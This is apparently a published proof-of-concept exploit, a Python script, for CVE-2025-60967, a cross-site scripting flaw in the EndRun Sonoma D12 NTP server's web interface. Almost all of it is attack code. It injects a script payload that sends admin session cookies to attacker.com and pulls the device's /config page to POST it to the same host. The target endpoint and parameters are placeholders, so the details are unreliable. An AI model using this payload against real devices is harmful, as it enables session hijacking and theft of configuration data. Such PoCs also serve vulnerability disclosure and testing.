CVE-2025-60967：EndRun Sonoma D12时间服务器XSS漏洞

# CVE-2025-60967 - Sonoma D12 XSS PoC # Author: xdiv-sec # Description: Cross Site Scripting vulnerability in EndRun Sonoma D12 NTP Server # Firmware: 6010-0076-000 Ver 4.00 import requests TARGET_URL = "http://target-sonoma-d12" SESSION_COOKIE = "session=authenticated_session_cookie" # Malicious JavaScript payload to steal sensitive information XSS_PAYLOAD = """ <script> // Exfiltrate admin session cookies var img = new Image(); img.src = "http://attacker.com/steal?cookie=" + document.cookie; // Exfiltrate sensitive configuration data fetch('/config', {credentials: 'include'}) .then(response => response.text()) .then(data => { fetch('http://attacker.com/exfil', { method: 'POST', body: data }); }); </script> """ # Inject XSS payload into vulnerable parameter def exploit_xss(): headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } # The vulnerable parameter may vary based on the specific endpoint params = { "username": XSS_PAYLOAD, # Example vulnerable parameter "comment": XSS_PAYLOAD # Alternative injection point } response = requests.post( f"{TARGET_URL}/admin/vulnerable_endpoint", headers=headers, data=params ) if response.status_code == 200: print("[+] XSS payload injected successfully") else: print(f"[-] Failed with status code: {response.status_code}") if __name__ == "__main__": exploit_xss()